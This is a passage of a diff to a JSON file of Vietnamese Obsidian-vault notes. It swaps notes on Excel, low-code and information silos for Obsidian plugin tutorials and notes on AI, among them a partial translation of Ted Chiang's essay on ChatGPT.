thái]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:51:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8t" }, { - "Tiêu đề": "CRM tập trung vào tăng sale, ERP tập trung vào cắt giảm chi phí", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Hình thức lưu trữ/CRM tập trung vào tăng sale, ERP tập trung vào cắt giảm chi phí", + "Tiêu đề": "Vẽ đồ thị", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/3. Truy xuất thông tin/Vẽ đồ thị", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![CRM Là Gì? ERP Là Gì? So Sánh CRM và ERP - YouTube](https://youtu.be/vyOkb6M1bdA)\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-24T15:50:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8u" }, { - "Tiêu đề": "Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Hình thức lưu trữ/Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức", + "Tiêu đề": "Chèn bản đồ", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Chèn bản đồ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "> [!NOTE] Plugin sử dụng: Leaflet\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8v" }, { - "Tiêu đề": "Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Hình thức lưu trữ/Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", + "Tiêu đề": "Kết nối dữ liệu với Trello, Notion, Discord", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Kết nối dữ liệu với Trello, Notion, Discord", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Fibery]]\n[[Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8w" }, { - "Tiêu đề": "Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Hình thức lưu trữ/Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được", + "Tiêu đề": "Slide", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Slide", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\nisland information silo. Những dữ liệu giống nhau được lưu ở những chỗ khác nhau, khiến cho những thao tác tự động hoá đơn giản không thể làm được\n", + "Toàn bộ nội dung": "#### Tải và cài đặt plugin Advanced Slide\r\n\r\n---\r\n\r\nGreetings from second Slide\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8x" }, { - "Tiêu đề": "❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Hình thức lưu trữ/❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?", + "Tiêu đề": "Tạo bảng", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Tạo bảng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhiều nơi khi học lập trình trước sẽ cho bắt đầu học Python, vì Python giúp người mới học lập trình tránh được rất nhiều phiền toái (khi so sánh với các ngôn ngữ khác) vì cú pháp, khai báo, luật phức tạp... không cần thiết, từ đó giúp chúng ta tập trung vào cách thức giải quyết vấn đề. Điều này là đúng. Nhưng câu hỏi ở đây không phải là người mới nên bắt đầu bằng ngôn ngữ nào, mà là tại sao lại phải bắt đầu bằng việc học ngôn ngữ? Tại sao không bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình? Vì đó mới là cái thứ họ sẽ làm việc thường xuyên\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "> [!NOTE] Plugin sử dụng: Dataview\r\n\r\nBảng\r\n\r\n```dataview\r\nTABLE\r\n\tfile.ctime as \"Ngày tạo\", \r\n\tsplit(file.folder,\"/\")[1] as \"Mức độ\",\r\n\tfile.folder\r\nWHERE contains(file.name, \"📖\")\r\nSORT split(this.file.folder,\"/\")[1]\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-01T13:14:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8y" }, { - "Tiêu đề": "Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu", + "Tiêu đề": "Xuất bản trên web", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/4. Trình bày thông tin/Xuất bản trên web", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Xong hạn chót này thì sẽ tới hạn chót khác]], mà [[Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì]]\n[[❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?]]\n[[Việc lưu trữ dữ liệu tại máy cá nhân và ở định dạng đơn giản sẽ giúp người dùng quen thuộc hơn với việc lập trình]]\n[[Dữ liệu chính là lập trình]]\n\nNguồn:: ", + "Toàn bộ nội dung": "\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:51:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8z" }, { - "Tiêu đề": "Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất", + "Tiêu đề": "Theo tính năng của plugin", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Jay Little - Low Code Software Development Is A Lie](https://jaylittle.com/post/view/2023/4/low-code-software-development-is-a-lie)\n\n[[Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó]]\n[[Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)]]. [[Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người]]", + "Toàn bộ nội dung": "# Theo tính năng của plugin Overview\r\n \r\n```ccard\r\ntype: folder_brief_live\r\n```\r\n \r\n\r\n![](https://github.com/twibiral/ObsiDOOM/raw/master/images/NeedForSpeed.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8-" }, { - "Tiêu đề": "Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người", + "Tiêu đề": "💎 Giới thiệu về Obsidian", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người]] \n[[Sản phẩm no code đem đến sự phản hồi tức thời]]\n[[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào]]\n[[Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)]]", + "Toàn bộ nội dung": "![](https://obsidian.md/images/screenshot-1.0-hero-combo.png) \n# Mục đích xây vault của bạn là gì?\n```dataview\nList\nfrom \"⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault\" \n```\n# Điểm mạnh và điểm yếu của Obsidian là gì?\n```dataview\nList rows.file.link\nfrom \"⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian\" \nWhere !contains(file.name,\"⭐\" )\ngroup by split(file.folder,\"/\")[3] \n```\n\n# Có thể làm những trò gì trên Obsidian?\n```dataview\nList rows.file.link\nfrom \"⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin\" \ngroup by split(split(file.folder,\"/\")[3], \"\\.\")[1] \n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-07-27T05:40:00.000Z", "id": "8_" }, { - "Tiêu đề": "Excel dịch chuyển một phần quyền lực của chuyên gia IT vào người sử dụng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel dịch chuyển một phần quyền lực của chuyên gia IT vào người sử dụng", + "Tiêu đề": "Công nghệ mới đem lại thêm lựa chọn cho người làm chính sách", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Công nghệ mới đem lại thêm lựa chọn cho người làm chính sách", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình]]\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [What can a technologist do about climate change? A personal view.](https://worrydream.com/ClimateChange/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:53:00.000Z", "id": "90" }, { - "Tiêu đề": "Excel không cho ta quản lý phiên bản được", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel không cho ta quản lý phiên bản được", + "Tiêu đề": "4 cấp độ phân tích dữ liệu: mô tả hiện tượng, lý giải nguyên nhân, dự đoán kết quả, đề xuất hành động", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/4 cấp độ phân tích dữ liệu – mô tả hiện tượng, lý giải nguyên nhân, dự đoán kết quả, đề xuất hành động", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần]]\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \nNguồn:: [04 giai đoạn phân tích dữ liệu - Descriptive, Diagnostic, Predictive & Prescriptive Analytics](https://blog.tomorrowmarketers.org/giai-doan-phan-tich-du-lieu/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "91" }, { - "Tiêu đề": "Excel không cản ta làm điều mà ta sẽ hối tiếc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel không cản ta làm điều mà ta sẽ hối tiếc", + "Tiêu đề": "AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nó không tạo ra rào cản để ngăn bạn làm sai, vì nó không biết bạn sẽ sai cái gì. Nếu bạn làm sai, thì không ai nghĩ đó là lỗi của Excel, mà là lỗi của bạn. (Một số phần mềm hoặc ngôn ngữ lập trình khác tiếp cận theo hướng ngược lại: nó sẽ rất khó học ban đầu, vì bạn làm gì nó cũng báo lỗi. Nhưng chính điều đó sẽ khiến bạn không làm sai về sau. Nếu bạn làm sai mà nó không báo lỗi thì đó là bug của nó, và tác giả sẽ phải sửa bug này để nó còn báo lỗi cho bạn. Một ví dụ điển hình là Rust)\n\nGiới hạn của Excel là nó không tạo ra giới hạn gì cho ta.\n\nNguồn:: [Excel Never Dies - Not Boring by Packy McCormick](https://www.notboring.co/p/excel-never-dies)\n\n[[Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng]]\n[[Excel không cho ta quản lý phiên bản được]] ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![The Potential for AI in Science and Mathematics - Terence Tao - YouTube](https://youtu.be/_sTDSO74D8Q)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2024-08-11T16:19:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "92" }, { - "Tiêu đề": "Excel không làm ta hiểu về lập trình một cách đúng đắn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel không làm ta hiểu về lập trình một cách đúng đắn", + "Tiêu đề": "AI gần như không có khả năng tự sửa lỗi code", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI gần như không có khả năng tự sửa lỗi code", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[2306.09896] Is Self-Repair a Silver Bullet for Code Generation?](https://arxiv.org/abs//2306.09896)\n\n[[AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "93" }, { - "Tiêu đề": "Excel không phù hợp cho việc lập cơ sở dữ liệu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel không phù hợp cho việc lập cơ sở dữ liệu", + "Tiêu đề": "AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Excel không cản ta làm điều mà ta sẽ hối tiếc]]\n\n[[Excel là sản phẩm low code tồn tại lâu dài nhất]] \n[[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác]]\n\n---\n## [Excel as a database - Neopoleon](https://www.neopoleon.com/blog/excel-as-a-database/)\nAs a developer, you’ve probably, at some unfortunate point in your life (possibly several points, actually), been handed an Excel file that has been crammed full of “data” by someone in marketing and told to “do something with it.”\n\nColumns probably didn’t line up, and a thousand different fonts were used. Every feature of Excel was probably abused and abused again in order to avoid having to use an actual database application for storage of the data.\n\nOf course, it’s up to you to make sense of the layout, and they could just give a bleepity-bleep about what a pain in the ass it is to suck weird data out of Excel and “do something with it” when little or (more often) no thought has been given to possibly making the data _consistent_ or, dare I say, _orderly_.\n\nTo this end, I’ve put together another art project. This time, what you will see unfold before your peepers is a process of discovery – My thoughts on how these files are created.\n\n[**Note:** I wound up drawing one of the characters with fangs and, eventually, “crazy eyes” – I don’t know why I did this. It just felt right. ]\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/1.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/2.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/3.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/4.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/5.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/6.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/7.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/8.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/9.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/10.jpg)\n\n![](https://web.archive.org/web/20051106011050im_/https://www.neopoleon.com/blog/images/excel/11.jpg)\n\nHey – I know what you’re thinking: “That was a little weird”\n\n---\n## [5 Things You Should Stop Doing with Microsoft Excel](https://www.integrify.com/blog/posts/5-things-you-should-stop-doing-with-microsoft-excel/ \"5 Things You Should Stop Doing with Microsoft Excel\")\n\n_Before you start the article, we wanted you to know that [workflow automation](https://www.integrify.com/landing-pages/workflow-automation/) can help wean people off of using Excel for the wrong reasons. [Check out what's possible.](https://www.integrify.com/landing-pages/workflow-automation/)_\n\n![do not use excel for these things](https://www.integrify.com/site/assets/files/5317/excel-is-not-for.400x0-is.png)\n### Excel is a great tool but it's often used in ways it was never intended. We suggest some of the ways it should **never** be used.\n\nMicrosoft Excel is a powerful spreadsheet that has been greatly refined over the past 30 years, especially with the development of macros. However, these capabilities have prompted many people to use Excel in ways for which it was never designed. For example, Excel isn’t a database, although many people use it as one. Excel may be able to serve this function for smaller data sets with simple rules, but a data set can quickly exceed Excel’s limitations as it grows. \n\nThere are far better tools out there to handle the specific use cases for which Excel is ill-equipped. Here are some of those use cases.\n\n## Forms\n\nThere are several reasons to avoid using Excel for forms. For instance:\n\n- Data entered into forms is typically disconnected from any database. Most Excel forms are just spreadsheets with blank cells to type into. This is only marginally better than a paper form.\n- Format and layout are cumbersome and time-consuming. To design a user-friendly form in Excel is a brutal exercise.\n- There are limited methods to control and validate input, resulting in bad data capture. Any attempts at validation are easily avoided.\n\nExcel was not designed for creating forms and to get a usable form that collects and stores data is prone to issues and simply not worth the effort. You're better off using a tool built for [designing forms](https://www.integrify.com/features/form-designer/) and handling data in a sensible way.\n\n## Project Management\n\nExcel is often used for project planning, usually for small to midsize projects. The primary reason many people use Excel is that many team members are unfamiliar with project planning software options (or don't have budget for them) and Excel is readily available. Also, there are Excel project planning templates available for download. For simple solo projects that are basically a list of tasks and dates, Excel can be fairly effective.\n\nHowever, multiple users can’t work on the same Excel template at the same time unless your team is using the online version. Even then, it's easy to trip over each other while trying to edit. It also doesn't handle complex projects well and can become a densely-packed, color-coded nightmare for everyone except the person who created it.\n\nFurthermore, updating statuses manually and generating the required reports in Excel can more time than the work itself. Dedicated [project management software](https://www.capterra.com/project-management-software/) allows users to visualize and update the entire process of planning, reporting and monitoring a project in real-time. Manual data entry and duplicate reports are no longer a concern since all team members receive updates with the same report.\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Three types of AI-assisted programmers - Stack Overflow](https://stackoverflow.blog/2023/12/11/three-types-of-ai-assisted-programmers/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "94" }, { - "Tiêu đề": "Excel là loài gián trong ngành phần mềm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel/Excel là loài gián trong ngành phần mềm", + "Tiêu đề": "AI là định dạng ảnh mờ của web", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI là định dạng ảnh mờ của web", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình]]\n[[Excel là sản phẩm low code tồn tại lâu dài nhất]]\n\nNó không làm được việc gì tốt, nhưng việc gì nó cũng làm được.\nNguồn:: [Excel Never Dies - Not Boring by Packy McCormick](https://www.notboring.co/p/excel-never-dies)\n", + "Toàn bộ nội dung": "CHATGPT LÀ ĐỊNH DẠNG ẢNH MỜ CỦA WEB/MẠNG INTERNET\n\nChatbot của OpenAI diễn đạt lại thông tin, trong khi Google cho ta các trích dẫn chính xác thông tin. Chúng ta thích cái nào hơn?\n\nTác giả: Ted Chiang\n\nNhung Nhung dịch.\n\nNgày 9 tháng 2 năm 2023\n\nNote: Web dùng trong bài có thể hiểu nôm na là nội dung trên khắp cõi mạng Internet.\n\n----\n\nVào năm 2013, các công nhân tại một công ty xây dựng của Đức để ý thấy một chuyện kỳ lạ với chiếc máy photocopy Xerox của mình: khi họ photo sơ ​​đồ mặt bằng của một ngôi nhà, bản sao máy tạo ra lại khác với bản gốc ở một chi tiết nhỏ tinh vi nhưng đáng kể. Trong bản sơ đồ mặt bằng gốc, mỗi phòng trong số ba phòng của ngôi nhà đều có kèm một hình chữ nhật ghi rõ diện tích của nó: các phòng lần lượt là 14,13 và 21,11 và 17,42 mét vuông. Tuy nhiên, trong bản sao, cả ba phòng đều được dán nhãn diện tích rộng 14,13 mét vuông. Công ty đã liên hệ với nhà khoa học máy tính David Kriesel để điều tra kết quả photo tưởng chừng hết sức phi lý này. Họ cần một nhà khoa học máy tính, vì máy photocopy Xerox hiện đại không sử dụng quy trình xerographic vật lý phổ biến vào những năm 1960. Thay vào đó, nó quét tài liệu bằng kỹ thuật số, sau đó in file (file) hình ảnh kết quả. Thêm nữa, gần như mọi file hình ảnh kỹ thuật số nó quét ra đều được nén để tiết kiệm dung lượng, và chính ở đây, đáp án cho bí ẩn này bắt đầu tự hiển hiện.\n\nViệc nén một file cần hai bước: đầu tiên là mã hóa, trong đó file được chuyển đổi thành định dạng tinh gọn hơn, và sau đó là giải mã, là đảo ngược quá trình ban đầu. Nếu file được khôi phục giống hệt với file gốc, thì quá trình nén này được gọi là không-mất-dữ-liệu (lossless): tức là không có thông tin nào bị tỉa bỏ. Ngược lại, nếu file được khôi phục chỉ là file gần đúng với file gốc, quá trình nén được mô tả là có-mất-dữ-liệu (lossy): tức một số thông tin đã bị tỉa bỏ và hiện không thể khôi phục được. Nén lossless thường được sử dụng cho các file văn bản và chương trình máy tính, bởi vì đây là lĩnh vực mà chỉ cần một ký tự không chính xác cũng có khả năng là thảm họa. Nén lossy thường được sử dụng cho ảnh, âm thanh và video trong các trường hợp không cần độ chính xác tuyệt đối. Thông thường, chúng ta hiếm khi để ý thấy một hình ảnh, bài hát, hoặc phim không được sao chép hoàn hảo. Mức độ thiếu trung thực chỉ trở nên rõ ràng khi các file bị nén rất chặt. Khi đó, chúng ta sẽ để ý thấy cái được gọi là các biến dạng nén/tạo tác nén (compression artifacts): là sự mờ nhoè của các file JPEG và MPEG nhỏ nhất, hoặc của file MP3 tốc độ bit thấp.\n\nMáy photocopy Xerox sử dụng định dạng nén lossy được gọi là JBIG 2, được thiết kế cho hình ảnh đen trắng. Để tiết kiệm dung lượng, máy photocopy xác định các vùng trông giống nhau trong hình ảnh và lưu trữ một bản sao duy nhất cho tất cả các vùng đó; khi file được giải nén, nó sẽ sử dụng bản sao đó nhiều lần để tái tạo lại hình ảnh. Hóa ra, máy photocopy này đã đánh giá các nhãn ô vuông ghi diện tích của các phòng là giống nhau, nên nó chỉ cần lưu một trong số chúng—14,13—và nó đã sử dụng lại nhãn đó cho cả ba phòng khi in sơ đồ nhà. (con máy ngu see hihi)\n\nVấn đề không nằm ở chuyện máy photocopy Xerox sử dụng định dạng nén lossy thay vì lossless. Vấn đề là các máy photocopy đã làm giảm chất lượng hình ảnh một cách tinh vi, với các biến dạng nén mà ta khó nhận ra ngay lập tức. Nếu máy photocopy chỉ tạo ra các bản in mờ nhoè, mọi người sẽ biết rằng chúng không phải là bản sao chính xác của bản gốc. Vấn đề là ở chỗ máy photocopy này tạo ra những con số, chi tiết rõ nét, đọc được, nhưng không chính xác; nó làm cho các bản sao tưởng chừng chính xác, nhưng thực tế là sai. (Vào năm 2014, Xerox đã phát hành một bản vá để khắc phục lỗi này.)\n\nTôi nghĩ rằng bài học này từ máy photocopy Xerox đáng được cân nhắc hôm nay, khi chúng ta xem xét ChatGPT của OpenAI và các chương trình tương tự khác, mà các nhà nghiên cứu AI gọi là mô hình ngôn ngữ lớn (large language models)​​. Nhìn qua thì giữa một máy photocopy và một mô hình ngôn ngữ lớn có thể không có tương 